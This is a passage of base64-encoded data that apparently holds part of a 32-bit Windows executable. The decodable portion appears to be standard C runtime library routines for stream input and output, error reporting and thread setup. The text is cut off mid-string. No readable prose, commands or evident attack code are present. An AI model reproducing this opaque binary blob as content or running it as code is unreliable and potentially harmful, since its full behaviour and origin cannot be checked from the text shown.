johf///1lZXcO4XmgDEKPgEgUQxwXkEgUQVF8DEMcF6BIFEAhfAxDHBewSBRBBXwMQxwXwEgUQql4DEKP0EgUQxwX4EgUQ1mcDEMcF/BIFEMZeAxDHBQATBRAoXgMQxwUEEwUQtF0DEMOL/1WL7OiW////g30IAHQF6CXKAADb4l3Di/9Vi+yD7BhTVv91DI1N6OiIvf//i10IvgABAAA73nNUi03og7msAAAAAX4UjUXoUGoBU+hAvgAAi03og8QM6w2LgcgAAAAPtwRYg+ABhcB0D4uBzAAAAA+2BBjpowAAAIB99AB0B4tF8INgcP2Lw+mcAAAAi0Xog7isAAAAAX4xiV0IwX0ICI1F6FCLRQgl/wAAAFDor8kAAFlZhcB0EopFCGoCiEX8iF39xkX+AFnrFeh52///xwAqAAAAM8mIXfzGRf0AQYtF6GoB/3AEjVX4agNSUY1N/FFW/3AUjUXoUOjY+///g8QkhcAPhG////+D+AEPtkX4dAkPtk35weAIC8GAffQAdAeLTfCDYXD9XlvJw4v/VYvsgz3gIQUQAHUQi0UIjUi/g/kZdxGDwCBdw2oA/3UI6MP+//9ZWV3DzMzMzMzMzMzMzMzMU1aLRCQYC8B1GItMJBSLRCQQM9L38YvYi0QkDPfxi9PrQYvIi1wkFItUJBCLRCQM0enR29Hq0dgLyXX09/OL8PdkJBiLyItEJBT35gPRcg47VCQQdwhyBztEJAx2AU4z0ovGXlvCEADMzMzMzMzMzItEJAiLTCQQC8iLTCQMdQmLRCQE9+HCEABT9+GL2ItEJAj3ZCQUA9iLRCQI9+ED01vCEACL/1WL7IPsNKHQBgUQM8WJRfxTi10IVlf/dRCLfQyNTcyL8+iEu///hf90Aokfhdt1I+gI2v//xwAWAAAA6FsRAAA4Xdh0B4tF1INgcP3Z7um/AAAAi0XMg7isAAAAAX4UjUXMUA+2BmoIUOgYvAAAg8QM6xAPtg6LgMgAAAAPtwRIg+AIhcB0A0bryY1FzFCNReRWUOgSyAAAg8QMi8iF/3QHi0EEA8aJB4sBqUACAAB0Ddnu3V3chf90SIkf60SogXQPgD4t3QUQEwUQdR3Z4OsZqQABAAB0JN1BENnu2cDd6t/g3dn2xER6EN1d3OhL2f//xwAiAAAA6wjd2N1BEN1d3IB92AB0B4tF1INgcP3dRdyLTfxfXjPNW+jAqf//ycOL/1WL7GoA/3UM/3UI6Mv+//+DxAxdw8zMi1QkDItMJASF0nRpM8CKRCQIhMB1FoH6gAAAAHIOgz00MgUQAHQF6evHAABXi/mD+gRyMffZg+EDdAwr0YgHg8cBg+kBdfaLyMHgCAPBi8jB4BADwYvKg+IDwekCdAbzq4XSdAqIB4PHAYPqAXX2i0QkCF/Di0QkBMOL/1WL7FFTVot1CPZGDEBXu2AKBRAPhXIBAABW6KHB//9Zg/j/dC5W6JXB//9Zg/j+dCJW6InB///B+AVWjTyFIDEFEOh5wf//g+AfWcHgBgMHWesCi8P2QCR/dE//TgR4CosOD7YBQYkO6wdW6CopAABZg/j/dQq4//8AAOkkAQAA/04EiEUIeAqLDg+2AUGJDusHVugCKQAAWYP4/3TYiEUJZotFCOn6AAAA9kYMQA+F1wAAAFboBsH//1mD+P90Llbo+sD//1mD+P50Ilbo7sD//8H4BVaNPIUgMQUQ6N7A//+D4B9ZweAGAwdZ6wKLw/ZABIAPhJEAAAAz/0f/TgR4CosOD7YBQYkO6wdW6IgoAABZg/j/D4Ra////iEX8D7bAUOiwxQAAWYXAdDT/TgR4CosOD7YBQYkO6wdW6FgoAABZg/j/dRMPvkX8VlDooAgAAFm4//8AAOtIagKIRf1fV41F/FCNRQhQ6CzJAACDxAyD+P8PhSb////oB9f//8cAKgAAAOnr/v//g0YE/ngMiw4PtwGDwQKJDusHVuiyxgAAWV9eW8nDagxouL8EEOjPHwAAM8A5RQgPlcCFwHUX6MHW///HABYAAADoFA4AALj//wAA6yz/dQjoAr///1mDZfwA/3UI6BH+//9ZD7fAiUXkx0X8/v///+gKAAAAZotF5OjAHwAAw/91COhDv///WcOL/1WL7IPsEKHQBgUQM8WJRfxTVot1DPZGDEBXD4U2AQAAVuiEv///WbtgCgUQg/j/dC5W6HO///9Zg/j+dCJW6Ge////B+AVWjTyFIDEFEOhXv///g+AfWcHgBgMHWesCi8OKQCQkfzwCD4ToAAAAVug2v///WYP4/3QuVugqv///WYP4/nQiVugev///wfgFVo08hSAxBRDoDr///4PgH1nB4AYDB1nrAovDikAkJH88AQ+EnwAAAFbo7b7//1mD+P90Llbo4b7//1mD+P50Ilbo1b7//8H4BVaNPIUgMQUQ6MW+//+D4B9ZweAGAwdZ6wKLw/ZABIB0Xf91CI1F9GoFUI1F8FDoXcoAAIPEEIXAdAe4//8AAOtdM/85ffB+MP9OBHgSiwaKTD30iAiLDg+2AUGJDusOD75EPfRWUOj7DAAAWVmD+P90yEc7ffB80GaLRQjrIINGBP54DYsOi0UIZokBgwYC6w0Pt0UIVlDoK8cAAFlZi038X14zzVvokKX//8nDagxo2L8EEOjdHQAAM8CLdQyF9g+VwIXAdRfozdT//8cAFgAAAOggDAAAuP//AADrL4l1DFboDb3//1mDZfwAVv91COgx/v//WVkPt8CJReTHRfz+////6AoAAABmi0Xk6MkdAADD/3UM6Ey9//9Zw4v/VYvsg+wQodAGBRAzxYlF/FOLXQhWi3UMV7///wAAi8dmO9gPhGYBAACLRgyoAXUQhMAPiVcBAACoAg+FTwEAAIN+CAB1B1boQskAAFn2RgxAD4ULAQAAVuhWvf//WbtgCgUQg/j/dDNW6EW9//9Zg/j+dCdW6Dm9///B+AVWjTyFIDEFEOgpvf//g+AfweAGAwdZWb///wAA6wKLw/ZABIAPhLgAAABW6Aa9//9Zg/j/dDNW6Pq8//9Zg/j+dCdW6O68///B+AVWjTyFIDEFEOjevP//g+AfweAGAwdZWb///wAA6wKLw/ZAJH90EYtVCGoCWIhV9Ih19YlF8Osf/3UIjUX0agVQjUXwUOhgyAAAg8QQhcB1d4tF8ItVCItOCAPIOQ5zDYN+BAB1YjtGGH9diQ6NSP+FyXgQ/w5JilwN9YsGiBh584tF8AFGBItGDIPg74PIAYlGDGaLwusyi10Ii0YIg8ACOQZzDoN+BAB1HYN+GAJyF4kGgwb+9kYMQIsGdBtmORh0GYPAAokGi8eLTfxfXjPNW+h+o///ycNmiRiLRgyDRgQCg+Dvg8gBiUYMZovD69lqDGj4vwQQ6LMbAAAzwDlFDA+VwIXAdRfopdL//8cAFgAAAOj4CQAAuP//AADrMP91DOjmuv//WYNl/AD/dQz/dQjo//3//1lZD7fAiUXkx0X8/v///+gKAAAAZotF5OigGwAAw/91DOgju///WcOL/1WL7FNWi3UIi0YMi8iA4QMz24D5AnVAqQgBAAB0OYtGCFeLPiv4hf9+LFdQVuhYu///WVDoIoIAAIPEDDvHdQ+LRgyEwHkPg+D9iUYM6weDTgwgg8v/X4tGCINmBACJBl6Lw1tdw4v/VYvsVot1CIX2dQlW6DUAAABZ6y9W6Hz///9ZhcB0BYPI/+sf90YMAEAAAHQUVujvuv//UOgNxwAAWffYWRvA6wIzwF5dw2oUaBjABBDolBoAADP/iX3kiX3cagHoxEMAAFmJffwz9ol14Ds1QEIFEA+NgwAAAKE8MgUQjQSwOTh0XosA9kAMg3RWUFbo9Ln//1lZM9JCiVX8oTwyBRCLBLCLSAz2wYN0LzlVCHURUOhK////WYP4/3Qe/0Xk6xk5fQh1FPbBAnQPUOgv////WYP4/3UDCUXciX386AgAAABG64Qz/4t14KE8MgUQ/zSwVuj9uf//WVnDx0X8/v///+gSAAAAg30IAYtF5HQDi0Xc6BUaAADDagHoLkIAAFnDagxoQMAEEOi6GQAAM/Y5dQh1CVboDf///1nrJ/91COgAuf//WYl1/P91COiu/v//WYlF5MdF/P7////oCQAAAItF5OjDGQAAw/91COhGuf//WcNqAejM/v//WcNqDGhgwAQQ6F4ZAACDZeQAM8CLdQiF9g+VwIXAdRjoStD//8cAFgAAAOidBwAAg8j/6bAAAACLXRCD+wR0CYXbdA6D+0B114XbdAWD+0B1D4t9FI1H/j39//9/dgXrv4t9FIPn/ol1CFboWrj//1mDZfwAVuih/f//VugRLgAAWVmBZgzzwv//i04M9sMEdAuDyQSNRhRqAl/rLYtFDIXAdSBX6PPs//9ZhcB1DP8F3CEFEINN5P/rHoFODAgEAADrCYHJAAUAAIlODIl+GIlGCIkGg2YEAMdF/P7////oCQAAAItF5OjEGAAAw/91COhHuP//WcOL/1WL7FNWi3UMV4PP//ZGDEB1b1bolrj//1m6YAoFEDvHdBuD+P50FovIg+Efi9jB+wXB4QYDDJ0gMQUQ6wKLyvZBJH91JTvHdBmD+P50FIvIg+AfwfkFweAGAwSNIDEFEOsCi8L2QCSAdBfoBs///8cAFgAAAOhZBgAAi8dfXltdw4tdCDvfdPKLRgyoAXUIhMB556gCdeODfggAdQdW6ObDAABZiwY7Rgh1CYN+BAB1yUCJBv8O9kYMQIsGdAk4GHQHQIkG67OIGItGDP9GBIPg74PIAYlGDIvDJf8AAADrm2oMaIDABBDohRcAADPAOUUMD5XAhcB1Feh3zv//xwAWAAAA6MoFAACDyP/rLP91DOi6tv//WYNl/AD/dQz/dQjo2P7//1lZiUXkx0X8/v///+gJAAAAi0Xk6HgXAADD/3UM6Pu2//9Zw2oMaKDABBDoHBcAADP/iX3kM8CLdQg79w+VwDvHdRjoB87//8cAFgAAAOhaBQAAg8j/6awAAABW6Em2//9ZiX389kYMQHVvVugXt///WYP4/3Qbg/j+dBaL0MH6BYvIg+EfweEGAwyVIDEFEOsFuWAKBRD2QSR/dSmD+P90GYP4/nQUi8jB+QWD4B/B4AYDBI0gMQUQ6wW4YAoFEPZAJIB0FOiEzf//xwAWAAAA6NcEAACDTeT/OX3kdRn/TgR4CosOD7YBQYkO6wdW6G4eAABZiUXkx0X8/v///+gMAAAAi0Xk6IUWAADDi3UIVugHtv//WcOL/1WL7IN9CAB1Fegnzf//xwAWAAAA6HoEAACDyP9dw1aLdQyF9nUV6ArN///HABYAAADoXQQAAIPI/+sb/3UI6HLGAABZi8iJBiPKg8j/iVYEO8h0AjPAXl3Di/9Vi+xWi3UIi0YMV6iDdHmLfRSF/3QKg/8BdAWD/wJ1aIPg74lGDIP/AXUPVujfwgAAAUUMWRFVEDP/VuhH+v//i0YMWYTAeQiD4PyJRgzrFqgBdBKoCHQOqQAEAAB1B8dGGAACAABX/3UQ/3UMVuigtf//WVDo0sYAACPCg8QQg/j/dA8zwOsO6E3M///HABYAAACDyP9fXl3DagxowMAEEOgxFQAAM8A5RQgPlcCFwHUV6CPM///HABYAAADodgMAAIPI/+tCi3UUhfZ0CoP+AXQFg/4Cddr/dQjoVbT//1mDZfwAVv91EP91DP91COgK////g8QQiUXkx0X8/v///+gJAAAAi0Xk6A4VAADD/3UI6JG0//9Zw4v/VYvsg30IAHUV6LHL///HABYAAADoBAMAAIPI/13Di0UMhcB05GoA/3AE/zD/dQjoS////4PEEF3D6DLHAACFwHQIahboNMcAAFn2BfAGBRACdBFqAWgVAABAagPoQQEAAIPEDGoD6BYaAADMi/9Vi+yLTQyh8AYFEItVCCNVDPfRI8gLyokN8AYFEF3Di/9Vi+yB7CgDAACjCCMFEIkNBCMFEIkVACMFEIkd/CIFEIk1+CIFEIk99CIFEGaMFSAjBRBmjA0UIwUQZowd8CIFEGaMBewiBRBmjCXoIgUQZowt5CIFEJyPBRgjBRCLRQCjDCMFEItFBKMQIwUQjUUIoxwjBRCLheD8///HBVgiBRABAAEAoRAjBRCjDCIFEMcFACIFEAkEAMDHBQQiBRABAAAAodAGBRCJhdj8//+h1AYFEImF3Pz///8VqOIDEKNQIgUQagHoxscAAFlqAP8VpOIDEGjc8AMQ/xWg4gMQgz1QIgUQAHUIagHooscAAFloCQQAwP8VqOEDEFD/FdThAxDJw4v/VYvsi0UIoyQlBRBdw4v/VYvsgewoAwAAodAGBRAzxYlF/FOLXQhXg/v/dAdT6FnHAABZg6Xg/P//AGpMjYXk/P//agBQ6N3w//+NheD8//+Jhdj8//+NhTD9//+DxAyJhdz8//+JheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0UEjU0EiY30/f//x4Uw/f//AQABAImF6P3//4tJ/ImN5P3//4tNDImN4Pz//4tNEImN5Pz//4mF7Pz///8VqOIDEGoAi/j/FaTiAxCNhdj8//9Q/xWg4gMQhcB1EIX/dQyD+/90B1PoZMYAAFmLTfxfM81b6JiZ///Jw4v/VmoBvhcEAMBWagLoxf7//4PEDFb/FajhAxBQ/xXU4QMQXsOL/1WL7P81JCUFEP8VaOIDEIXAdANd/+D/dRj/dRT/dRD/dQz/dQjor////8wzwFBQUFBQ6Mf///+DxBTDi/9Vi+yLVQhWV4XSdAeLfQyF/3UT6HjI//9qFl6JMOjM////i8brM4tFEIXAdQSIAuvii/Ir8IoIiAwGQITJdANPdfOF/3URxgIA6ELI//9qIlmJCIvx68YzwF9eXcOL/1WL7FFWi3UMVuhcsf//iUUMi0YMWaiCdRfoE8j//8cACQAAAINODCCDyP/pLwEAAKhAdA3o+Mf//8cAIgAAAOvjUzPbqAF0FoleBKgQD4SHAAAAi04Ig+D+iQ6JRgyLRgyD4O+DyAKJRgyJXgSJXfypDAEAAHUs6Dmv//+DwCA78HQM6C2v//+DwEA78HUN/3UM6APFAABZhcB1B1boo7wAAFn3RgwIAQAAVw+EgAAAAItGCIs+jUgBiQ6LThgr+EmJTgQ7+34dV1D/dQzoaXcAAIPEDIlF/OtNg8ggiUYMg8j/63mLTQyD+f90G4P5/nQWi8GD4B+L0cH6BcHgBgMElSAxBRDrBbhgCgUQ9kAEIHQUagJTU1HohsEAACPCg8QQg/j/dCWLRgiKTQiICOsWM/9HV41FCFD/dQzo+nYAAIPEDIlF/Dl9/HQJg04MIIPI/+sIi0UIJf8AAABfW17Jw4v/VYvsg+wgU1cz22oHM8BZjX3kiV3g86s5XRR1GOisxv//xwAWAAAA6P/9//+DyP/pkAAAAIt9EFaLdQw7+3QZO/N1FeiFxv//xwAWAAAA6Nj9//+DyP/ra7j///9/iUXkO/h3A4l95P91HI1F4P91GMdF7EIAAAD/dRSJdehQiXXg/1UIg8QQiUUUO/N0NTvDfCL/TeR4B4tF4IgY6xGNReBQU+jy/f//WVmD+P90BYtFFOsPM8A5XeSIXD7/D53Ag+gCXl9bycOL/1WL7IN9EAB1Fej1xf//xwAWAAAA6Ej9//+DyP9dw1aLdQiF9nQGg30MAHcN6NLF///HABYAAADrMf91GP91FP91EP91DFZoL3kDEOjk/v//g8QYhcB5A8YGAIP4/nUT6J/F///HACIAAADo8vz//4PI/15dw1eLxoPgD4XAD4XBAAAAi9GD4X/B6gd0ZesGjZsAAAAAZg9vBmYPb04QZg9vViBmD29eMGYPfwdmD39PEGYPf1cgZg9/XzBmD29mQGYPb25QZg9vdmBmD29+cGYPf2dAZg9/b1BmD393YGYPf39wjbaAAAAAjb+AAAAASnWjhcl0SYvRweoEhdJ0F42bAAAAAGYPbwZmD38HjXYQjX8QSnXvg+EPdCSLwcHpAnQNixaJF412BI1/BEl184vIg+EDdAmKBogHRkdJdfdYXl9dw7oQAAAAK9ArylGLwovIg+EDdAmKFogXRkdJdffB6AJ0DYsWiReNdgSNfwRIdfNZ6Qv///9qCv8VrOIDEKM0MgUQM8DDagBoABAAAGoA/xWw4gMQM8mFwA+VwaMoJQUQi8HD/zUoJQUQ/xW04gMQgyUoJQUQAMOL/1WL7FNWizVM4gMQV4t9CFf/1ouHsAAAAIXAdANQ/9aLh7gAAACFwHQDUP/Wi4e0AAAAhcB0A1D/1ouHwAAAAIXAdANQ/9aNX1DHRQgGAAAAgXv4AAcFEHQJiwOFwHQDUP/Wg3v8AHQKi0MEhcB0A1D/1oPDEP9NCHXWi4fUAAAABbQAAABQ/9ZfXltdw4v/VYvsV4t9CIX/D4SDAAAAU1aLNVDiAxBX/9aLh7AAAACFwHQDUP/Wi4e4AAAAhcB0A1D/1ouHtAAAAIXAdANQ/9aLh8AAAACFwHQDUP/WjV9Qx0UIBgAAAIF7+AAHBRB0CYsDhcB0A1D/1oN7/AB0CotDBIXAdANQ/9aDwxD/TQh11ouH1AAAAAW0AAAAUP/WXluLx19dw4v/VYvsU1aLdQiLhrwAAAAz21c7w3RvPUgCBRB0aIuGsAAAADvDdF45GHVai4a4AAAAO8N0FzkYdRNQ6N+Y////trwAAADoYEcAAFlZi4a0AAAAO8N0FzkYdRNQ6L6Y////trwAAADo5kQAAFlZ/7awAAAA6KaY////trwAAADom5j//1lZi4bAAAAAO8N0RDkYdUCLhsQAAAAt/gAAAFDoepj//4uGzAAAAL+AAAAAK8dQ6GeY//+LhtAAAAArx1DoWZj///+2wAAAAOhOmP//g8QQi4bUAAAAPQgHBRB0GzmYtAAAAHUTUOhvQAAA/7bUAAAA6CWY//9ZWY1+UMdFCAYAAACBf/gABwUQdBGLBzvDdAs5GHUHUOgAmP//WTlf/HQSi0cEO8N0CzkYdQdQ6OmX//9Zg8cQ/00IdcdW6NqX//9ZX15bXcOL/1WL7FeLfQyF/3Q7i0UIhcB0NFaLMDv3dChXiTjoav3//1mF9nQbVuju/f//gz4AWXUPgf5wCAUQdAdW6HP+//9Zi8de6wIzwF9dw2oMaODABBDoegoAAOgYAgAAi/Ch/AYFEIVGcHQig35sAHQc6AECAACLcGyF9nUIaiDoOhAAAFmLxuiNCgAAw2oM6H8zAABZg2X8AP81SAkFEIPGbFboWf///1lZiUXkx0X8/v///+gCAAAA675qDOh4MgAAWYt15MNqAP8VZOIDEMP/FbjiAxDCBACL/1b/NVgJBRD/FbziAxCL8IX2dRv/NTAlBRD/FWjiAxCL8Fb/NVgJBRD/FcDiAxCLxl7DoVQJBRCD+P90FlD/NTglBRD/FWjiAxD/0IMNVAkFEP+hWAkFEIP4/3QOUP8VxOIDEIMNWAkFEP/pmTEAAGoIaADBBBDofgkAAGic9AMQ/xWQ4QMQi3UIx0Zc+AcEEINmCAAz/0eJfhSJfnDGhsgAAABDxoZLAQAAQ8dGaKAKBRBqDeh/MgAAWYNl/AD/dmj/FUziAxDHRfz+////6D4AAABqDOheMgAAWYl9/ItFDIlGbIXAdQihSAkFEIlGbP92bOi7+///WcdF/P7////oFQAAAOg0CQAAwzP/R4t1CGoN6EcxAABZw2oM6D4xAABZw4v/Vlf/FXjhAxD/NVQJBRCL+OjE/v///9CL8IX2dU5oFAIAAGoB6CHd//+L8FlZhfZ0Olb/NVQJBRD/NTQlBRD/FWjiAxD/0IXAdBhqAFbo+P7//1lZ/xWI4gMQg04E/4kG6wlW6G2V//9ZM/ZX/xWI4QMQX4vGXsOL/1bof////4vwhfZ1CGoQ6DIOAABZi8Zew2oIaCjBBBDoNwgAAIt1CIX2D4T4AAAAi0YkhcB0B1DoIJX//1mLRiyFwHQHUOgSlf//WYtGNIXAdAdQ6ASV//9Zi0Y8hcB0B1Do9pT//1mLRkCFwHQHUOjolP//WYtGRIXAdAdQ6NqU//9Zi0ZIhcB0B1DozJT//1mLRlw9+AcEEHQHUOi7lP//WWoN6PEwAABZg2X8AIt+aIX/dBpX/xVQ4gMQhcB1D4H/oAoFEHQHV+iOlP//WcdF/P7////oVwAAAGoM6LgwAABZx0X8AQAAAIt+bIX/dCNX6K36//9ZOz1ICQUQdBSB/3AIBRB0DIM/AHUHV+gq+///WcdF/P7////oHgAAAFboNpT//1nodAcAAMIEAIt1CGoN6IgvAABZw4t1CGoM6HwvAABZw4v/VYvsgz1UCQUQ/3RLg30IAHUnVv81WAkFEIs1vOIDEP/WhcB0E/81VAkFEP81WAkFEP/W/9CJRQheagD/NVQJBRD/NTQlBRD/FWjiAxD/0P91COh4/v//oVgJBRCD+P90CWoAUP8VwOIDEF3Di/9XaJz0AxD/FZDhAxCL+IX/dQnoxvz//zPAX8NWizWM4QMQaNj0AxBX/9ZozPQDEFejLCUFEP/WaMD0AxBXozAlBRD/1mi49AMQV6M0JQUQ/9aDPSwlBRAAizXA4gMQozglBRB0FoM9MCUFEAB0DYM9NCUFEAB0BIXAdSShvOIDEKMwJQUQocTiAxDHBSwlBRCsuQIQiTU0JQUQozglBRD/FbjiAxCjWAkFEIP4/w+EwQAAAP81MCUFEFD/1oXAD4SwAAAA6HIJAAD/NSwlBRCLNWTiAxD/1v81MCUFEKMsJQUQ/9b/NTQlBRCjMCUFEP/W/zU4JQUQozQlBRD/1qM4JQUQ6GEtAACFwHRjiz1o4gMQaG27AhD/NSwlBRD/1//Qo1QJBRCD+P90RGgUAgAAagHo49n//4vwWVmF9nQwVv81VAkFEP81NCUFEP/X/9CFwHQbagBW6L77//9ZWf8ViOIDEINOBP+JBjPAQOsH6Gn7//8zwF5fw2oMaFDBBBDoHwUAAGoO6FcuAABZg2X8AIt1CItOBIXJdC+hQCUFELo8JQUQiUXkhcB0ETkIdSyLSASJSgRQ6OmR//9Z/3YE6OCR//9Zg2YEAMdF/P7////oCgAAAOgOBQAAw4vQ68VqDugjLQAAWcPMzMzMzMzMzMzMzItUJASLTCQI98IDAAAAdTyLAjoBdS4KwHQmOmEBdSUK5HQdwegQOkECdRkKwHQROmEDdRCDwQSDwgQK5HXSi/8zwMOQG8DR4IPAAcP3wgEAAAB0GIoCg8IBOgF154PBAQrAdNz3wgIAAAB0pGaLAoPCAjoBdc4KwHTGOmEBdcUK5HS9g8EC64iL/1WL7ItFCKNEJQUQXcOL/1WL7P81RCUFEP8VaOIDEIXAdA//dQj/0FmFwHQFM8BAXcMzwF3Di/9Vi+yD7BChhC4FEDPSU1aLdQyJRfyJVfSJVfiJVfDrA4PGAmaDPiB09w+3BoP4YXQwg/hydCOD+Hd0F+iyuv//xwAWAAAA6AXy//8zwOlhAgAAuwEDAADrDTPbg038AesJuwkBAACDTfwCg8YCD7cGM8lBV2Y7wg+E1gEAAI15f7oAQAAAhckPhBwBAAAPt8CD+FMPj5MAAAB0f4PoIA+E9gAAAIPoC3RSSHRDg+gYdC2D6Ap0IYPoBA+FoQEAADlF+A+FzAAAAMdF+AEAAACDyxDpwwAAAAvf6bwAAAD2w0APha0AAACDy0DpqwAAAMdF8AEAAADpmQAAAPbDAg+FkAAAAItF/IPj/oPg/IPLAgvHiUX86YAAAACDffgAdXTHRfgBAAAAg8sg626D6FR0WoPoDnRFSHQwg+gLdBWD6AYPhRkBAAD3wwDAAAB1RQva60eDffQAdTuBZfz/v///x0X0AQAAAOsxg330AHUlCVX8x0X0AQAAAOsf98MAwAAAdRGBywCAAADrD7gAEAAAhdh0BDPJ6wIL2IPGAg+3BmaFwA+F3P7//4N98AAPhKAAAABqIF/rA4PGAmY5PnT4agNWaOT0AxDoissAAIPEDIXAD4WIAAAAg8YG6wODxgJmOT50+GaDPj11dYPGAmY5PnT4agVo7PQDEFbog5///4PEDIXAdQuDxgqBywAABADrQWoIaPj0AxBW6GSf//+DxAyFwHULg8YQgcsAAAIA6yJqB2gM9QMQVuhFn///g8QMhcB1G4PGDoHLAAABAOsDg8YCZoM+IHT3M/9mOT50EuiNuP//xwAWAAAA6ODv///rHGiAAQAA/3UQjUUMU/91CFDosMoAAIPEFIXAdAQzwOsgi0UU/wXcIQUQi038iUgMi00MiXgEiTiJeAiJeByJSBBfXlvJw2oQaHDBBBDoLAEAADPbM/+JfeRqAehdKgAAWYld/DP2iXXgOzVAQgUQD43KAAAAoTwyBRCNBLA5GHRbiwCLQAyog3VIqQCAAAB1QY1G/YP4EHcSjUYQUOhZKQAAWYXAD4SUAAAAoTwyBRD/NLBW6GSg//9ZWaE8MgUQiwSw9kAMg3QMUFbou6D//1lZRuuRi/iJfeTrY2o46MzU//9Ziw08MgUQiQSxO8N0TmigDwAAoTwyBRCLBLCDwCBQ/xXI4gMQhcChPDIFEHUT/zSw6GaN//9ZoTwyBRCJHLDrG4sEsIPAIFD/FXTiAxChPDIFEIs8sIl95IlfDDv7dBaBZwwAgAAAiV8EiV8IiR+JXxyDTxD/x0X8/v///+gLAAAAi8foVwAAAMOLfeRqAehtKAAAWcPMzMzMzGgQxAIQZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXodAGBRAxRfwzxVCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAAw4tN8GSJDQAAAABZX19eW4vlXVHDzMzMzMzMzIv/VYvsg+wYU4tdDFaLcwgzNdAGBRBXiwbGRf8Ax0X0AQAAAI17EIP4/nQNi04EA88zDDjoDIf//4tODItGCAPPMww46PyG//+LRQj2QARmD4UZAQAAi00QjVXoiVP8i1sMiUXoiU3sg/v+dF+NSQCNBFuLTIYUjUSGEIlF8IsAiUX4hcl0FIvX6PQBAADGRf8BhcB4QH9Hi0X4i9iD+P51zoB9/wB0JIsGg/j+dA2LTgQDzzMMOOiJhv//i04Mi1YIA88zDDroeYb//4tF9F9eW4vlXcPHRfQAAAAA68mLTQiBOWNzbeB1KYM9sOgDEAB0IGiw6AMQ6OPIAACDxASFwHQPi1UIagFS/xWw6AMQg8QIi00Mi1UI6JQBAACLRQw5WAx0EmjQBgUQV4vTi8jolgEAAItFDItN+IlIDIsGg/j+dA2LTgQDzzMMOOjzhf//i04Mi1YIA88zDDro44X//4tF8ItICIvX6CoBAAC6/v///zlTDA+ET////2jQBgUQV4vL6EEBAADpGf///8xTVleLVCQQi0QkFItMJBhVUlBRUWgwxgIQZP81AAAAAKHQBgUQM8SJRCQIZIklAAAAAItEJDCLWAiLTCQsMxmLcAyD/v50O4tUJDSD+v50BDvydi6NNHaNXLMQiwuJSAyDewQAdcxoAQEAAItDCOiyyQAAuQEAAACLQwjoxMkAAOuwZI8FAAAAAIPEGF9eW8OLTCQE90EEBgAAALgBAAAAdDOLRCQIi0gIM8joBYX//1WLaBj/cAz/cBD/cBToPv///4PEDF2LRCQIi1QkEIkCuAMAAADDVYtMJAiLKf9xHP9xGP9xKOgV////g8QMXcIEAFVWV1OL6jPAM9sz0jP2M///0VtfXl3Di+qL8YvBagHoD8kAADPAM9szyTPSM///5lWL7FNWV2oAUmjWxgIQUej+/wAAX15bXcNVi2wkCFJR/3QkFOi1/v//g8QMXcIIAIv/VYvsaCz1AxD/FZDhAxCFwHQVaBz1AxBQ/xWM4QMQhcB0Bf91CP/QXcOL/1WL7P91COjI////Wf91CP8VzOIDEMxqCOizJQAAWcNqCOjRJAAAWcOL/1boVPL//4vwVugx+P//Vugq6f//VuiikgAAVuh+yAAAVuigrgAAVugjkwAAg8QYXsOL/1WL7FaLdQgzwOsPhcB1EIsOhcl0Av/Rg8YEO3UMcuxeXcOL/1WL7IM92PADEAB0GWjY8AMQ6DrGAABZhcB0Cv91CP8V2PADEFnot6AAAGgA5AMQaOjjAxDoof///1lZhcB1VFZXaChWAxDo8q///7hE4wMQvuTjAxBZi/g7xnMPiweFwHQC/9CDxwQ7/nLxgz0wMgUQAF9edBtoMDIFEOjQxQAAWYXAdAxqAGoCagD/FTAyBRAzwF3DaiBokMEEEOhv+///agjopyQAAFmDZfwAM8BAOQV4JQUQD4TYAAAAo3QlBRCKRRCicCUFEIN9DAAPhaAAAAD/NSgyBRCLNWjiAxD/1ovYiV3Qhdt0aP81JDIFEP/Wi/iJfdSJXdyJfdiD7wSJfdQ7+3JL6Pfw//85B3TtO/tyPv83/9aL2Ojk8P//iQf/0/81KDIFEP/Wi9j/NSQyBRD/1jld3HUFOUXYdA6JXdyJXdCJRdiL+Il91Itd0Ourx0XkBOQDEIF95BDkAxBzEYtF5IsAhcB0Av/Qg0XkBOvmx0XgFOQDEIF94BjkAxBzEYtF4IsAhcB0Av/Qg0XgBOvmx0X8/v///+ggAAAAg30QAHUpxwV4JQUQAQAAAGoI6L8iAABZ/3UI6L39//+DfRAAdAhqCOipIgAAWcPogfr//8OL/1WL7GoAagH/dQjor/7//4PEDF3DagFqAGoA6J/+//+DxAzDi/9Vi+zo6QEAAP91COgyAAAAWWj/AAAA6L7////Mi/9Vi+wzwItNCDsMxcj9AxB0CkCD+BZy7jPAXcOLBMXM/QMQXcOL/1WL7IHs/AEAAKHQBgUQM8WJRfxTVot1CFdW6Ln///+L+DPbWYm9BP7//zv7D4RsAQAAagPojMgAAFmD+AEPhAcBAABqA+h7yAAAWYXAdQ2DPfQhBRABD4TuAAAAgf78AAAAD4Q2AQAAaAT/AxBoFAMAAL+AJQUQV+i+HwAAg8QMhcAPhbgAAABoBAEAAL6yJQUQVlNmo7onBRD/FdDiAxC7+wIAAIXAdR9o1P4DEFNW6IYfAACDxAyFwHQMM8BQUFBQUOgX5///VugQIAAAQFmD+Dx2KlboAyAAAI0ERTwlBRCLyCvOagPR+WjM/gMQK9lTUOgAxwAAg8QUhcB1vWjE/gMQvhQDAABWV+hzxgAAg8QMhcB1pf+1BP7//1ZX6F/GAACDxAyFwHWRaBAgAQBoeP4DEFfo3MQAAIPEDOteU1NTU1Ppef///2r0/xU84gMQi/A783RGg/7/dEEzwIoMR4iMBQj+//9mORxHdAhAPfQBAABy6FONhQT+//9QjYUI/v//UIhd++jys///WVCNhQj+//9QVv8VbOEDEItN/F9eM81b6Mp////Jw2oD6BHHAABZg/gBdBVqA+gExwAAWYXAdR+DPfQhBRABdRZo/AAAAOgl/v//aP8AAADoG/7//1lZw4v/VYvsVot1CIX2dRXo267//8cAFgAAAOgu5v//6foAAACLRgyogw+E7wAAAKhAD4XnAAAAqAJ0C4PIIIlGDOnYAAAAg8gBiUYMqQwBAAB1CVboqqMAAFnrBYtGCIkG/3YY/3YIVui7l///WVDoZwYAAIPEDIlGBIXAD4SLAAAAg/j/D4SCAAAA9kYMgnVRVuiRl///WYP4/3QwVuiFl///WYP4/nQkV1boeJf//8H4BVaNPIUgMQUQ6GiX//+D4B9ZweAGAwdZX+sFuGAKBRCKQAQkgjyCdQeBTgwAIAAAgX4YAAIAAHUVi0YMqAh0DqkABAAAd